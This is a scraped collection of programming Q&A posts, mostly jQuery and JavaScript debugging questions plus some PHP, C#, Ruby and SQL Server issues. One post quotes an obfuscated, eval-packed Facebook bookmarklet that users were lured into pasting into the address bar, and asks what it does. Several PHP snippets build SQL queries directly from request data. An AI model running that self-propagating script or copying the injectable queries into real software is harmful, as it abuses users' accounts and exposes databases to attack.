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  • Looping and pausing after loading ajax content in Javascript JQuery

    - by Tristan
    I have what I though was a simple problem to solve (never is!) I'm trying to loop through a list of URL's in a javascript array I have made, load the first one, wait X seconds, then load the second, and continue until I start again. I got the array and looping working, trouble is, however I try and implement a "wait" using setInterval or similar, I have a structural issue, as the loop continues in the background. I tried to code it like this: $(document).ready(function(){ // my array of URL's var urlArray = new Array(); urlArray[0] = "urlOne"; urlArray[1] = "urlTwo"; urlArray[2] = "urlThree"; // my looping logic that continues to execute (problem starts here) while (true) { for (var i = 0; i < urlArray.length; i++) { $('#load').load(urlArray[i], function(){ // now ideally I want it to wait here for X seconds after loading that URL and then start the loop again, but javascript doesn't seem to work this way, and I'm not sure how to structure it to get the same effect }); } } });

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  • How to use setTimeout / .delay() to wait for typing between characters

    - by Darcy
    Hi all, I am creating a simple listbox filter that takes the user input and returns the matching results in a listbox via javascript/jquery (roughly 5000+ items in listbox). Here is the code snippet: var Listbox1 = $('#Listbox1'); var commands = document.getElementById('DatabaseCommandsHidden'); //using js for speed $('#CommandsFilter').bind('keyup', function() { Listbox1.children().remove(); for (var i = 0; i < commands.options.length; i++) { if (commands.options[i].text.toLowerCase().match($(this).val().toLowerCase())) { Listbox1.append($('<option></option>').val(i).html(commands.options[i].text)); } } }); This works pretty well, but slows down somewhat when the 1st/2nd char's are being typed since there are so many items. I thought a solution I could use would be to add a delay to the textbox that prevents the 'keyup' event from being called until the user stops typing. The problem is, I'm not sure how to do that, or if its even a good idea or not. Any suggestions/help is greatly appreciated.

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  • ajax login problem

    - by rdanee
    $(document).ready(function() { $("form#login_form").submit(function() { var login_username = $('#login_username').attr('value'); var login_password = $('#login_password').attr('value'); type: "POST", $.ajax({ url: "login.php", data: "username="+ login_username +"& password="+ login_password, success: function(data){ alert(data); if (data == "ok"){ $('form#login_form').hide(function(){$('div.success').fadeIn();}); } } }); return false; }); Login.php: <?php include("settings.php"); $query = "select * from users where username = '{$_POST['login_username']}' and password = md5('{$_POST['login_password']}')"; $query = mysql_query($query, $connection); if ( mysql_num_rows($query) == 1 ) { print "ok"; $array = mysql_fetch_array($query); if ( $_POST['stay'] ) { $time = time()+2592000; } else { $time = 0; } } else { print "no"; } mysql_close($connection); ?> My problem: In the alert the message always "no" whether username/password is correct, however on the site "ok" appears when username/pw is correct. I have read the other questions in connection with this problem, but I couldn't solve the response problem from login.php with Json. Could you help me how should I response to the ajax calling? ( with a code if it is possible) Thank you very much, and sorry for questioning again.

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  • How to detect how many time the users have click the button...

    - by Jerry
    Hello guys. Just want to know if there is a way to detect how many times a user has clicked a button by using Jquery. My main application has a button that can add input fields depend on the users. He/She can adds as many input fields as they need. When they submit the form, The add page will add the data to my database. My current idea is to create a hidden input field and set the value to zero. Every time a user clicks the button, jquery would update the attribute of the hidden input field value. Then the "add page" can detect the loop time. See the example below. I just want to know if there are better practices to do this. Thanks for the helps. main page <form method='post' action='add.php'> //omit <input type="hidden" id="add" name="add" value="0"/> <input type="button" id="addMatch" value="Add a match"/> //omit </form> jquery $(document).ready(function(){ var a =0; $("#addMatch").live('click', function(){ $('#table').append("<input name='match"+a+"Name' />") //the input field will append //as many as the user wants. a++; $('#add').attr('name', 'a'); //pass the a value to hidden input field return false; }); Add Page $a=$_POST['a']; // for($k=0;$k<$a;$k++){ //get all matchName input field $matchName=$_POST['match'.$k.'Name']; //insert the match $updateQuery=mysql_query("INSERT INTO game (team) values('$matchName')",$connection); if(!$updateQuery){ DIE('mysql Error:'+mysql_error()); }

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  • Can't write to dynamic iframe using jQuery

    - by Fremont Troll
    My goal is to dynamically create an iframe and write ad JavaScript into it using jQuery (e.g. Google AdSense script). My code works on Chrome, but fails intermittently in Firefox i.e. sometimes the ad script runs and renders the ad, and other times it doesn't. When it doesn't work, the script code itself shows up in the iframe. My guess is these intermittent failures occur because the iframe is not ready by the time I write to it. I have tried various iterations of *iframe_html* (my name for the function which is supposed to wait for the iframe to be ready), but no luck. Any help appreciated! PS: I have read various threads (e.g. http://stackoverflow.com/questions/205087/jquery-ready-in-a-dynamically-inserted-iframe). Just letting everyone know that I've done my research on this, but I'm stuck :) Iteration 1: function iframe_html(html){ $('<iframe name ="myiframe" id="myiframe"/>').appendTo('#maindiv'); $('#myiframe').load( function(){ $('#myiframe').ready( function(){ var d = $("#myiframe")[0].contentWindow.document; d.open(); d.close(); d.write(html); }); } ); }; Iteration 2: function iframe_html(html){ $('<iframe id="myiframe"/>').appendTo('#maindiv').ready( function(){ $("#myiframe").contents().get(0).write(html); } ); };

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  • Sticky/static variable references in for loops

    - by pthulin
    In this example I create three buttons 'one' 'two' 'three'. When clicked I want them to alert their number: <html> <head> <script type="application/javascript" src="jquery.js"></script> <script type="application/javascript"> $(document).ready(function() { var numbers = ['one', 'two', 'three']; for (i in numbers) { var nr = numbers[i]; var li = $('<li>' + nr + '</li>'); li.click(function() { var newVariable = String(nr); alert(i); // 2 alert(nr); // three alert(newVariable); // three alert(li.html()); // three }); $('ul').append(li); } }); </script> </head> <body> <ul> </ul> </body> </html> The problem is, when any of these are clicked, the last value of the loop's variables is used, i.e. alert box always says 'three'. In JavaScript, variables inside for-loops seem to be 'static' in the C language sense. Is there some way to create separate variables for each click function, i.e. not using the same reference? Thanks!

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  • jquery image fading with tabs

    - by StealthRT
    Hey all, i am trying my best to figure out how to go about doing this: I have 2 tabs. When the page loads tab1 is selected automatically. This shows the tab as 1.0 transparency while tab2 stays at 0.7. Once the user clicks on tab2, tab1 goes to 0.7 transparency and tab2 goes to 1.0. However, i can not seem to get it to do that! Here is my code: <script type="text/javascript"> function checkTab(theTab) { $('#tab1').fadeTo(250, 0.70); $('#tab2').fadeTo(250, 0.70); if ($("#tabActive").val() == theTab) { $(theTab).fadeTo(250, 1); } } $(document).ready(function() { $('#tab1').hover(function() {$(this).fadeTo(250, 1)}, function() {checkTab('#tab1')}); $('#tab2').hover(function() {$(this).fadeTo(250, 1)}, function() {checkTab('#tab2')}); $('#tab2').fadeTo(250, 0.70); $('#tabActive').val('tab1'); }); </script> <li class="stats"><img src="images/Stats.png" name="nav1" width="70" height="52" id="tab1" onclick="$('#tabActive').val('tab1');" /></li> <li class="cal"><img src="images/cal.png" name="nav1" width="70" height="52" id="tab2" onclick="$('#tabActive').val('tab2');" /></li> <input name="tabActive" id="tabActive" type="text" /> Any help would be great! :) David

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  • Sliding & hiding multiple panels in jQuery.

    - by lloydphillips
    I have a table with multiple rows in each row is a select list and based on the selection (when the onchange event is fired) panels appear containing additional data below the row.I currently have code like this: var allPnls = '.inv-dtl-comnts-add,.inv-dtl-comnts-update'; $(document).ready(function(){ hideAll(); //select action change $(".inv-dtl-ddlaction").change(onSelectChange); $(".btn-cancel").click(function(event){ slideAll(); $(".inv-dtl-ddlaction").val('[Select an Action]'); return false; }); }); function onSelectChange(event){ //find out which select item was clicked switch($(this).val()) { case 'View/Add Comment': $(this).closest(".row").children(allPnls).slideUp("fast", function(){ $(this).closest(".row").children(".inv-dtl-comnts-add").slideToggle("fast"); }); break; case 'Change Status': $(this).closest(".row").children(allPnls).slideUp("fast", function(){ $(this).closest(".row").children(".inv-dtl-comnts-update").slideToggle("fast"); }); break; default: //code to be executed if n is different from case 1 and 2 } } function hideAll(){ $(allPnls).hide(); } function slideAll(){ $(allPnls).slideUp("fast"); } So I'm hiding all the panels when the page loads and if a panel is already open I want to slide it shut before reopening the new panel. This works with the postback. With just one panel in the selection it worked great but with two panels the sliding up happens twice (it seems to slide down unopened panels before sliding them back up again). How can I adjust this so that I can get all panels listed in the variable allPnls to slide shut ONLY if they are already open? Is there a better way of sliding the panels shut and then having a callback to have the slideToggle work? Lloyd

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  • How can I differentiate a manual scroll (via mousewheel/scrollbar) from a Javascript/jQuery scroll?

    - by David Murdoch
    UPDATE: Here is a jsbin example demonstrating the problem. Basically, I have the following javascript which scrolls the window to an anchor on the page: // get anchors with href's that start with "#" $("a[href^=#]").live("click", function(){ var target = $($(this).attr("href")); // if the target exists: scroll to it... if(target[0]){ // If the page isn't long enough to scroll to the target's position // we want to scroll as much as we can. This part prevents a sudden // stop when window.scrollTop reaches its maximum. var y = Math.min(target.offset().top, $(document).height() - $(window).height()); // also, don't try to scroll to a negative value... y=Math.max(y,0); // OK, you can scroll now... $("html,body").stop().animate({ "scrollTop": y }, 1000); } return false; }); It works perfectly......until I manually try to scroll the window. When the scrollbar or mousewheel is scrolled I need to stop the current scroll animation...but I'm not sure how to do this. This is probably my starting point... $(window).scroll(e){ if(IsManuallyScrolled(e)){ $("html,body").stop(); } } ...but I'm not sure how to code the IsManuallyScrolled function. I've checked out e (the event object) in Google Chrome's console and AFAIK there is not way to differentiate between a manual scroll and jQuery's animate() scroll. How can I differentiate between a manual scroll and one called via jQuery's $.fn.animate function?

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  • Multiple UIWebViewNavigationTypeBackForward not only false but make inferring the actual url impossi

    - by SG1
    I have a UIWebView and a UITextField for the url. Naturally, I want the textField to always show the current document url. This works fine for urls directly input in the field, but I also have some buttons attached to the view for reload, back, and forward. So I've added all the UIWebViewDelegate methods to my controller, so it can listen to whenever the webView navigates and change the url in the textField as needed. Here's how I'm using the shouldStartLoadWithRequest: method: - (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType { NSLog(@"navigated via %d", navigationType); //loads the user cares about if ( navigationType == UIWebViewNavigationTypeLinkClicked || navigationType == UIWebViewNavigationTypeBackForward ) { //URL setting [self setUrlQuietly:request.URL]; } return YES; } Now, my problem here is that an actual click will generate a single navigation of type "LinkClicked" followed by a dozen type "Other" (redirects and ad loads I assume), which gets handled correctly by the code, but a back/forward action will generate all its requests as back/forward requests. In other words, a click calls setUrlQuietly: once, but a back/forward calls it multiple times. I am trying to use this method to determine if the user actually initiated the action (and I'd like to catch page redirects too). But if the method has no way of distinguishing between an actual "back" and a "load initiated as a result of a back", how can I make this assessment? Without this, I am completely stumped as to how I can only show the actual url and not intermediate urls. Thank you!

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  • why limxml2 quotes starting double slash in CDATA with javascript

    - by Vincenzo
    This is my code: <?php $data = <<<EOL <?xml version="1.0"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <script type="text/javascript"> //<![CDATA[ var a = 123; // JS code //]]> </script> </html> EOL; $dom = new DOMDocument(); $dom->preserveWhiteSpace = false; $dom->formatOutput = false; $dom->loadXml($data); echo '<pre>' . htmlspecialchars($dom->saveXML()) . '</pre>'; This is result: <?xml version="1.0"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <script type="text/javascript"><![CDATA[ //]]><![CDATA[ var a = 123; // JS code //]]><![CDATA[ ]]></script></html> If and when I remove the DOCTYPE notation from XML document, CDATA works properly and leading/trailing double slash is not turned into CDATA. What is the problem here? Bug in libxml2? PHP version is 5.2.13 on Linux. Thanks.

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  • Two jquery pagination plugin in the same page doesn't seem to work....

    - by Pandiya Chendur
    I use jquery pagination plugin for paging... If there is one pagination plugin there is no problem for me... But if there is two one seems to work but the other doesn't seem too... Here is my code, <div id="PagerUp" class="pager"> </div><br /><br /><br /> <div id="ResultsDiv"> </div> <div id="PagerDown" class="pager"> </div> And my jquery has, <script type="text/javascript"> var itemsPerPage = 5; $(document).ready(function() { getRecordspage(0, itemsPerPage); var maxvalues = $("#HfId").val(); $(".pager").pagination(maxvalues, { callback: getRecordspage, current_page: 0, items_per_page: itemsPerPage, num_display_entries: 5, next_text: 'Next', prev_text: 'Prev', num_edge_entries: 1 }); }); </script> Here is what i am getting... Both works but Look at the pagerup the selected page is 3 but the PagerDown shows 1.... How to change one pager on other pagers callback event in jquery....

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  • javascript: waiting for an iframe page to load before writing to it (but not from the page that's tr

    - by Bill Dawes
    Apologies if this has been answered elsewhere, but I haven't been able to find it referenced. (Probably because nobody else would want to do such a daft thing, I admit). So, I have a page with three iframes in it. An event on one triggers a javascript function which loads new pages into the other two iframes; ['topright'] and ['bottomright']. However, javascript in the page that is being loaded into iframe 'topright' then needs to send information to elements in the 'bottomright' iframe. window.frames['bottomright'].document.subform.ID_client = client; etc But this will only work if the page has fully loaded into the bottomright frame. So what would be the most efficient way for that code in the 'topright' iframe to check and ensure that that form element in the bottomright frame is actually available to write to, before it does write to it? Bearing in mind that the page load has NOT been triggered from the topright frame, so I can't simply use an onLoad function. (I know this probably sounds like a hideously tortuous route for getting data from one page to another, but that's another story. The client is always right, etc...:-))

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  • 'send' button error 401

    - by jjd
    I'm having a strange error with 'Send' button I have the following code on my page <div id="fb-root"></div> <script type="text/javascript"> (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&amp;appId=<myAppId>"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk')); </script> <br/> <fb:like send="true" width="450" show_faces="true"></fb:like> The 'send' button works fine if I access the application via IP address, but if I use a domain name, Facebook returns The page at http://<...>.com:8080/pages/question.jsf could not be reached because the server returned status code 401. Meantime 'like' button works fine. The application front-end is built with JSF2+Primefaces. Any ideas would be appreciated Thanks

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  • Any solution to IE8 bug rendering error when hiding elements?

    - by Magnar
    Bug: when hiding an element with JavaScript in IE8, the margin of still-visible other elements on the side is ignored. This bug has been introduced with IE8, since it works as expected in IE6+7 (and other browsers). <html> <head> <style> #a, #b, #c, #d {background: #ccf; padding: 4px; margin-bottom: 8px;} </style> </head> <body> <div id="a">a</div> <div id="b">b</div> <div id="c">c</div> <div id="d">d</div> <script> setTimeout(function () { document.getElementById("b").style.display = "none"; }, 1000); </script> </body> </html> When running this code, notice how a and c have a margin of 8 between them in normal browsers, but a margin of 0 in IE8. Remove the padding, and IE8 behaves like normal. Remove the timeout and IE8 behaves like normal. A border behaves the same way. I've been working with IE-bugs the last 10 years, but this has me stumped. The solution for now is to wrap the divs, and apply the margin to the outer element and other styles to the inner. But that's reminicent of horrible IE6-workarounds. Any better solutions?

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  • Loading default value in a dropdown and calling onchange event

    - by J. Davidson
    Hi i have following dropdown <div class="fcolumn"> <label class="text" for="o_Id">Months:</label> <select class="textMonths" id="o_Id" name="periodName" > <option value="000">Select Period--</option> </select> </div> In the following jquery, first it loads fnLoadP() in a drop down list. Than as a default I am loading one of the values in drop down which is '10'. It loads too as default value. But it should be executing $("#o_Id").change.. which it doesn't. $(document).ready(function () { var sProfileUserId = null; $("#o_Id").change(function () { //---- }); fnLoadP(); $("select[name='pName']").val('10'); }); }); Basically my goal is. After dropdown values are loaded, to load '10' as default value and call onchange event in the dom. Please let me know how to fix it.

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  • XmlDocument.Load() throws XmlSchemaValidationException

    - by Praetorian
    Hi, I'm trying to validate an XML document against a schema (which is embedded in my program as a resource). I got everything to work, so I tried to test for errors by adding a second sibling node in the XML at a location where the schema specifies maxOccurs="1". The problem is that my ValidationEventHandler is never getting called, also XmlDocument.Load() is throwing an XmlSchemaValidationException exception when I'd expected XmlDocument.Validate() to do that. This is the code I have: private void ValidateUserData( string xmlPath ) { var resInfo = Application.GetResourceStream( new Uri( @"MySchema.xsd", UriKind.Relative ) ); var schema = XmlSchema.Read( resInfo.Stream, SchemaValidationCallBack ); XmlSchemaSet schemaSet = new XmlSchemaSet(); schemaSet.Add( schema ); schemaSet.ValidationEventHandler += SchemaValidationCallBack; XmlReaderSettings settings = new XmlReaderSettings(); settings.Schemas = schemaSet; settings.ValidationType = ValidationType.Schema; XmlDocument doc = new XmlDocument(); using( XmlReader reader = XmlReader.Create( xmlPath, settings ) ) { doc.Load( reader ); // <-- This line throws an exception if XML is ill-formed reader.Close(); } doc.Validate( SchemaValidationCallBack );// <-- This is never reached } private void SchemaValidationCallBack( object sender, ValidationEventArgs e ) { Console.WriteLine( "SchemaValidationCallBack: " + e.Message ); } How do I get the callback to be called so I can handle validation errors? Thanks for your help!

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  • jQuery AJAX with two domains

    - by Andrew Burns
    OK here is the situation: I have an externally hosted CMS which works great for 99% of our needs. However on the more advanced things I inject my own CSS+JS and do magic. The problem I am running into is loading a simple HTML page from jQuery.ajax() calls. It appears to work in the sense that no warnings or errors are thrown; however in my success handler (which IS ran), the response is blank! I have been scratching my head for the whole morning trying to figure this out and the only thing I can think of is that is has something to do with the cross domain issue (even though it appears to work). Injected JavaScript: $(document).ready(function() { doui(); }); function doui() { $.ajax({ url: 'http://apps.natronacounty-wy.gov/css/feecalc/ui.htm', cache: false, success: ajax_createUI, charset: "utf-8", error: function(e) { alert(e); } }); } function ajax_createUI(data, textStatus) { alert(data); $("#ajax-content").html(data); } My ajax_createUI() success handler is called and textStatus is "success"; however data is empty. This JS file resides @ http://apps.natronacounty-wy.gov/css/js/feecalc.js however the CMS website (which gets the JS injected into it) resides @ http://www.natronacounty-wy.gov/ Am I just being stupid or is it a bug that it looks like it should be working but isn't?

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  • asp.net mvc ajax helper/post additional data w/o jquery.

    - by Jopache
    I would like to use the ajax helper to create ajax requests that send additional, dynamic data with the post (for example, get the last element with class = blogCommentDateTime and send the value of that last one to the controller which will return only blog comments after it). I have successfully done so with the help of jQuery Form plugin like so: $(document).ready(function () { $("#addCommentForm").submit(function () { var lastCommentDate = $(".CommentDateHidden:last").val(); var lastCommentData = { lastCommentDateTicks: lastCommentDate }; var formSubmitParams = { data: lastCommentData, success: AddCommentResponseHandler } $("#addCommentForm").ajaxSubmit(formSubmitParams); return false; }); This form was created with html.beginform() method. I am wondering if there is an easy way to do this using the ajax.beginform() helper? When I try to use the same code but replace html.beginform() with ajax.beginform(), when i try to submit the form, I am issuing 2 posts (which is understandable, one being taken care of by the helper, the other one by me with the JS above. I can't create 2 requests, so this option is out) I tried getting rid of the return false and changing ajaxSubmit() to ajaxForm() so that it would only "prepare" the form, and this leads in only one post, but it does not include the extra parameter that I defined, so this is worthless as well. I then tried keeping the ajaxForm() but calling that whenever the submit button on the form gets clicked rather than when the form gets submitted (I guess this is almost the same thing) and that results in 2 posts also. The biggest reason I am asking this question is that I have run in to some issues with the javascript above and using mvc validation provided by the mvc framework (which i will set up another question for) and would like to know this so I can dive further in to my validation issue.

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  • Count the no of LI then add class to parent UL.

    - by Wazdesign
    <ul class="taglib-ratings thumbs"> <li id="qezr_yourRating"> <a href="javascript:;" class="rating rate-up "></a> </li> </ul> <ul class="taglib-ratings thumbs"> <li id="qezr_yourRating"> <a href="javascript:;" class="rating rate-up "></a> </li> <li id="qezr_yourRating"> <a href="javascript:;" class="rating rate-up "></a> </li> </ul> I want to apply the class to the UL on base of the Count of the Inner LIs. Like if it has two LI then the class should be like two-thumbs Like if it has one LI then the class should be like one-thumbs I am trying this JS but not working it returns 2 jQuery(document).ready(function(){ var countLi = $(".taglib-ratings > li").size(); alert(countLi); if(countLi == 2) { $(this).parent('.taglib-ratings').addClass('2-col'); alert ('this ul has 2 li'); } else if(countLi == 1) { $(this).parent('.taglib-ratings').addClass('2-col'); alert ('this ul has 1 li'); } else if(countLi > 2) { alert ('this ul has'+ countLi +' li'); } }); Here is the JSbin link to the same. http://jsbin.com/ofeda/edit

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  • jquery load returns empty, possible MVC 2 problem?

    - by Max Fraser
    I have a site that need to get some data from a different sit that is using asp.net MVC/ The data to get loaded is from these pages: http://charity.hondaclassic.com/home/totaldonations http://charity.hondaclassic.com/Home/CharityList This should be a no brainer but for some reason I get an empty response, here is my JS: <script> jQuery.noConflict(); jQuery(document).ready(function($){ $('.totalDonations').load('http://charity.hondaclassic.com/home/totaldonations'); $('#charityList').load('http://charity.hondaclassic.com/home/CharityList'); }); </script> in firebug I see the request is made and come back with a response of 200 OK but the response is empty, if you browse to these pages they work fine! What the heck? Here are the controller actions from the MVC site: public ActionResult TotalDonations() { var total = "$" + repo.All<Customer>().Sum(x => x.AmountPaid).ToString(); return Content(total); } public ActionResult CharityList() { var charities = repo.All<Company>(); return View(charities); } Someone please out what stupid little thing I am missing - this should have taken me 5 minutes and it's been hours!

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  • jQuery: Show and hide child div when hovering

    - by Björn
    Hi there, I've got a set of items. Each item has two images and some text. For the images I've created a parent div which has an overflow:hidden CSS value. I want to achieve an mouseover effect. As soon as you hover over the images I want to hide the current div and show the second div. Here's a small snippet: <div class="product-images"> <div class="product-image-1"><img src="image1.gif>" /></div> <div class="product-image-2"><img src="images2.gif" /></div> </div> I've created a small jQuery snippet: jQuery(document).ready(function() { jQuery('.product-images').mouseover(function() { jQuery('.product-image-1').hide(); }).mouseout(function() { jQuery('.product-image-1').show(); }); }); Now the problem is that not only the currently hovered child is hidden. Instead all other existing childs are hidden as well. I need something like "this" or "current" but I don't know which jQuery function is the right one. Any idea? Thanks, BJ

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  • Problems using (building?) native gem extensions on OS X

    - by goodmike
    I am having trouble with some of my rubygems, in particular those that use native extensions. I am on a MacBookPro, with Snow Leopard. I have XCode 3.2.1 installed, with gcc 4.2.1. Ruby 1.8.6, because I'm lazy and a scaredy cat and don't want to upgrade yet. Ruby is running in 32-bit mode. I built this ruby from scratch when my MBP ran OSX 10.4. When I require one of the affected gems in irb, I get a Load Error for the gem extension's bundle file. For example, here's nokogigi dissing me: > require 'rubygems' = true > require 'nokogiri' LoadError: Failed to load /usr/local/lib/ruby/gems/1.8/gems/nokogiri-1.4.1/lib/nokogiri/nokogiri.bundle This is also happening with the Postgres pg and MongoDB mongo gems. My first thought was that the extensions must not be building right. But gem install wasn't throwing any errors. So I reinstalled with the verbose flag, hoping to see some helpful warnings. I've put the output in a Pastie, and the only warning I see is a consistent one about "passing argument n of ‘foo’ with different width due to prototype." I suspect that this might be an issue from upgrading to Snow Leopard, but I'm a little surprised to experience it now, since I've updated my XCode. Could it stem from running Ruby in 1.8.6? I'm embarrassed that I don't know quite enough about my Mac and OSX to know where to look next, so any guidance, even just a pointer to some document I couldn't find via Google, would be most welcome. Michael

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  • Obfuscated Javascript Code from Facebook Application?

    - by V.K.
    This is the code that was copied and pasted into my address bar: javascript:(function() {a='app117970624901700_jop';b='app117970624901700_jode';ifc='app117970624901700_ifc';ifo='app1179 70624901700_ifo';mw='app117970624901700_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return (c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c]) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e= ["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N \\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\ p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g \\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\ \F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d [e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e [15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e [5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x 70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document| mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})(); I ran it through http://jsbeautifier.org/ , but it didn't clean up the later part dealing with the "new RegExp"... anyone know what this code does and how to figure it out?

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  • Update or Insert Row depending on whether row is present in Microsoft SQL Server 2005

    - by Srikanth
    Hi, I am passing a XML document as a input to a stored procedure in Microsoft SQL Server 2005. This is the sample XML being passed as input <Strategy StrategyID="0" TOStrategyID="8" ShutdownQtySell="1" ShutdownQtyBuy="1"> <ParameterRange ParameterSetID="6" ParameterRangeID="1" ParameterRangeFrom="0" ParameterRangeTo="20" ParameterAutoTakeOut="False"> </ParameterRange> <ParameterRange ParameterSetID="6" ParameterRangeID="4" ParameterRangeFrom="21" ParameterRangeTo="40" ParameterAutoTakeOut="False"> </ParameterRange> <ParameterRange ParameterSetID="6" ParameterRangeID="5" ParameterRangeFrom="41" ParameterRangeTo="60" ParameterAutoTakeOut="False"> </ParameterRange> <ParameterRange ParameterSetID="6" ParameterRangeID="6" ParameterRangeFrom="61" ParameterRangeTo="80" ParameterAutoTakeOut="False"> </ParameterRange> <ParameterRange ParameterSetID="6" ParameterRangeID="7" ParameterRangeFrom="81" ParameterRangeTo="100" ParameterAutoTakeOut="False"> </ParameterRange> </Strategy> I am able to retrieve the data using OpenXML functionality in SQL server I am using this to get the data corresponding to ParameterRange rows SELECT ParameterRangeID as iRangeID, ParameterSetID as iSetID, ParameterRangeFrom as fRangeFrom, ParameterRangeTo as fRangeTo, ParameterAutoTakeOut as bTakeoutEnabled FROM OPENXML(@idoc, '/Strategy/ParameterRange', 1) WITH (ParameterSetID int,ParameterRangeID int,ParameterRangeFrom float,ParameterRangeTo float,ParameterAutoTakeOut bit) Now, I need to insert/update these rows into a table TempRanges which has (iRangeID,iSetID) as the primary key. If there is a row with the primary key, I want to update it the latest values and If there is no row with that primary key, I need to insert into the table. How can I accomplish this inside the Stored Procedure ? Thanks, Sri

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